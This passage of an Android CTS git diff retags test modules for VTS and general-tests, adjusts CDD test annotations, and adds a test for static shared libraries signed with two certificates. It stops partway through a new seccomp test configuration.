index 5755f84..50c741a 100644
--- a/hostsidetests/numberblocking/app/Android.mk
+++ b/hostsidetests/numberblocking/app/Android.mk
@@ -27,10 +27,10 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test legacy-android-test compatibility-device-util
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsHostsideNumberBlockingAppTest
diff --git a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
index 674dab2..c23ba84 100644
--- a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
+++ b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
@@ -29,6 +29,8 @@
import android.telecom.PhoneAccountHandle;
import android.telecom.TelecomManager;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.Arrays;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -36,6 +38,7 @@
/**
* Tests call blocking in a multi-user environment.
*/
+@CddTest(requirement="7.4.1.1/C-1-1")
public class CallBlockingTest extends BaseNumberBlockingClientTest {
private static final String QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE = CallLog.Calls.NUMBER
+ " = ? AND " + CallLog.Calls.PHONE_ACCOUNT_COMPONENT_NAME + " = ?";
@@ -65,6 +68,7 @@
assertNull(mTelecomManager.getPhoneAccount(getPhoneAccountHandle()));
}
+ @CddTest(requirement="7.4.1.1/C-1-3,C-1-4")
public void testIncomingCallFromBlockedNumberIsRejected() throws Exception {
// Make sure no lingering values from previous runs.
cleanupCall(false /* verifyNoCallLogsWritten */);
diff --git a/hostsidetests/os/Android.mk b/hostsidetests/os/Android.mk
index e54703e..1b806c9 100644
--- a/hostsidetests/os/Android.mk
+++ b/hostsidetests/os/Android.mk
@@ -28,7 +28,7 @@
LOCAL_CTS_TEST_PACKAGE := android.host.os
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/os/app/Android.mk b/hostsidetests/os/app/Android.mk
index 86c109e..bc70dec 100644
--- a/hostsidetests/os/app/Android.mk
+++ b/hostsidetests/os/app/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceOsTestApp
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index 28e89a5..3b2e027 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -16,7 +16,6 @@
package android.os.cts;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.CollectingOutputReceiver;
@@ -96,7 +95,6 @@
assertTrue(output.contains("Permission Denial") && output.contains(" not exported"));
}
- @CddTest(requirement="3.2.3.2/C-0-4,C-0-5")
public void testIntentFilterHostValidation() throws Exception {
String line = null;
try {
diff --git a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
index 549fdc0..ad27051 100644
--- a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
@@ -56,6 +56,9 @@
private static final String STATIC_LIB_PROVIDER6_APK = "CtsStaticSharedLibProviderApp6.apk";
private static final String STATIC_LIB_PROVIDER6_PKG = "android.os.lib.provider";
+ private static final String STATIC_LIB_PROVIDER7_APK = "CtsStaticSharedLibProviderApp7.apk";
+ private static final String STATIC_LIB_PROVIDER7_PKG = "android.os.lib.provider";
+
private static final String STATIC_LIB_NATIVE_PROVIDER_APK =
"CtsStaticSharedNativeLibProvider.apk";
private static final String STATIC_LIB_NATIVE_PROVIDER_PKG =
@@ -72,6 +75,9 @@
private static final String STATIC_LIB_CONSUMER2_APK = "CtsStaticSharedLibConsumerApp2.apk";
private static final String STATIC_LIB_CONSUMER2_PKG = "android.os.lib.consumer2";
+ private static final String STATIC_LIB_CONSUMER3_APK = "CtsStaticSharedLibConsumerApp3.apk";
+ private static final String STATIC_LIB_CONSUMER3_PKG = "android.os.lib.consumer3";
+
private static final String STATIC_LIB_NATIVE_CONSUMER_APK
= "CtsStaticSharedNativeLibConsumer.apk";
private static final String STATIC_LIB_NATIVE_CONSUMER_PKG
@@ -447,6 +453,27 @@
}
}
+ public void testLoadCodeAndResourcesFromSharedLibrarySignedWithTwoCerts()
+ throws Exception {
+ getDevice().uninstallPackage(STATIC_LIB_CONSUMER3_PKG);
+ getDevice().uninstallPackage(STATIC_LIB_PROVIDER7_PKG);
+ try {
+ // Install the library
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ STATIC_LIB_PROVIDER7_APK), false, false));
+ // Install the client
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ STATIC_LIB_CONSUMER3_APK), false, false));
+ // Try to load code and resources
+ runDeviceTests(STATIC_LIB_CONSUMER3_PKG,
+ "android.os.lib.consumer3.UseSharedLibraryTest",
+ "testLoadCodeAndResources");
+ } finally {
+ getDevice().uninstallPackage(STATIC_LIB_CONSUMER3_PKG);
+ getDevice().uninstallPackage(STATIC_LIB_PROVIDER7_PKG);
+ }
+ }
+
private void runDeviceTests(String packageName, String testClassName,
String testMethodName) throws DeviceNotAvailableException {
RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
diff --git a/hostsidetests/os/test-apps/Android.mk b/hostsidetests/os/test-apps/Android.mk
index 4afd486..bd94fb5 100644
--- a/hostsidetests/os/test-apps/Android.mk
+++ b/hostsidetests/os/test-apps/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Build the test APKs using their own makefiles
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
index 7ab0433..bd7eb5f 100644
--- a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
+++ b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
@@ -24,6 +24,6 @@
LOCAL_PACKAGE_NAME := CtsHostLinkVerificationApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk b/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
index f7b98c3..d3edc43 100644
--- a/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
+++ b/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
@@ -26,6 +26,6 @@
LOCAL_PACKAGE_NAME := CtsHostProcfsTestApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
index a333d42..9d0d001 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
@@ -30,6 +30,6 @@
LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp1
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
index 9ca8a95..dca3699 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
@@ -59,7 +59,7 @@
public void testSharedLibrariesProperlyReported() throws Exception {
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), "appops set "
+ InstrumentationRegistry.getInstrumentation().getContext().getPackageName()
- + " " + AppOpsManager.OP_REQUEST_INSTALL_PACKAGES + " " + "allow");
+ + " REQUEST_INSTALL_PACKAGES allow");
try {
List<SharedLibraryInfo> sharedLibs = InstrumentationRegistry.getContext()
@@ -172,7 +172,7 @@
} finally {
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), "appops set "
+ InstrumentationRegistry.getInstrumentation().getContext().getPackageName()
- + " " + AppOpsManager.OP_REQUEST_INSTALL_PACKAGES + " " + "default");
+ + " REQUEST_INSTALL_PACKAGES default");
}
}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
index 9c2efaf..0c7351a 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
@@ -27,6 +27,6 @@
LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp2
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
new file mode 100644
index 0000000..71f9e8c
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp7
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp3
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
new file mode 100755
index 0000000..daddbc6
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.os.lib.consumer3"
+ android:versionCode="2"
+ android:versionName="3.0">
+
+ <application>
+ <uses-static-library
+ android:name="foo.bar.lib"
+ android:version="5"
+ android:certDigest="70:FB:D4:40:50:3E:C0:BF:41:F3:F2:1F:CC:83:FF:D3:98:80:13:3C:27:DE:B0:94:5E:D6:77:C6:F3:1D:72:FB">
+ <additional-certificate android:certDigest="E4:95:82:FF:3A:0A:A4:C5:58:9F:C5:FE:AA:C6:B7:D6:E7:57:19:9D:D0:C6:74:2D:F7:BF:37:C2:FF:EF:95:F5"/>
+ </uses-static-library>
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.os.lib.consumer3"/>
+
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java
new file mode 100644
index 0000000..a57207f
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.consumer3;
+
+import android.os.lib.provider.StaticSharedLib;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertSame;
+
+@RunWith(AndroidJUnit4.class)
+public class UseSharedLibraryTest {
+ @Test
+ public void testLoadCodeAndResources() throws Exception {
+ assertSame(10, StaticSharedLib.getVersion(InstrumentationRegistry.getContext()));
+ }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
index 8a46932..2e2a5e4 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
index 41d1eec..9a3da9b 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS := --shared-lib
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
index 0be0049..61adc17 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
@@ -23,7 +23,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS := --shared-lib
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
index e5becb5..0205259 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
@@ -25,7 +25,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
index bfe894a..1251f8b 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS := --shared-lib
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
index 335cce9..2e5dc56 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS := --shared-lib
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.mk
new file mode 100644
index 0000000..074cae3
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.mk
@@ -0,0 +1,39 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp7
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_AAPT_FLAGS := --shared-lib
+
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/AndroidManifest.xml
new file mode 100755
index 0000000..4709e10
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.os.lib.provider"
+ android:versionCode="5"
+ android:versionName="5.0">
+ <application android:hasCode="false">
+ <static-library android:name="foo.bar.lib" android:version="5"/>
+ </application>
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/res/values/integers.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/res/values/integers.xml
new file mode 100644
index 0000000..e9e99e1
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/res/values/integers.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <integer name="version">10</integer>
+</resources>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/src/android/os/lib/provider/StaticSharedLib.java b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/src/android/os/lib/provider/StaticSharedLib.java
new file mode 100644
index 0000000..9b5736f
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/src/android/os/lib/provider/StaticSharedLib.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.provider;
+
+import android.content.Context;
+
+public class StaticSharedLib {
+ public static int getVersion(Context context) {
+ return context.getResources().getInteger(android.os.lib.provider.R.integer.version);
+ }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk
index 5058191..69ed15f 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
index da53850..54ebdd1 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
@@ -31,7 +31,7 @@
LOCAL_MULTILIB := both
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
index bc09dc4..3d48af2 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
@@ -20,13 +20,11 @@
LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibprovider
LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibProvider
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
index 0abc351d..fee38a7 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
@@ -20,13 +20,11 @@
LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibprovider
LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibProvider1
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/sample/Android.mk b/hostsidetests/sample/Android.mk
index bfdaeda..bc821ae 100644
--- a/hostsidetests/sample/Android.mk
+++ b/hostsidetests/sample/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsSampleHostTestCases
diff --git a/hostsidetests/sample/app/Android.mk b/hostsidetests/sample/app/Android.mk
index 7e7cd91..b3b6ad1 100644
--- a/hostsidetests/sample/app/Android.mk
+++ b/hostsidetests/sample/app/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSampleDeviceApp
diff --git a/hostsidetests/sample/app2/Android.mk b/hostsidetests/sample/app2/Android.mk
index 0900f1f..845f51a 100644
--- a/hostsidetests/sample/app2/Android.mk
+++ b/hostsidetests/sample/app2/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSampleDeviceApp2
diff --git a/hostsidetests/seccomp/Android.mk b/hostsidetests/seccomp/Android.mk
new file mode 100644
index 0000000..2c1c077
--- /dev/null
+++ b/hostsidetests/seccomp/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE_TAGS := tests
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_MODULE := CtsSeccompHostTestCases
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/seccomp/AndroidTest.xml b/hostsidetests/seccomp/AndroidTest.xml
new file mode 100644
index 0000000..cbfd1c4
--- /dev/null
+++ b/hostsidetests/seccomp/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Sseccomp host test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="misc" />
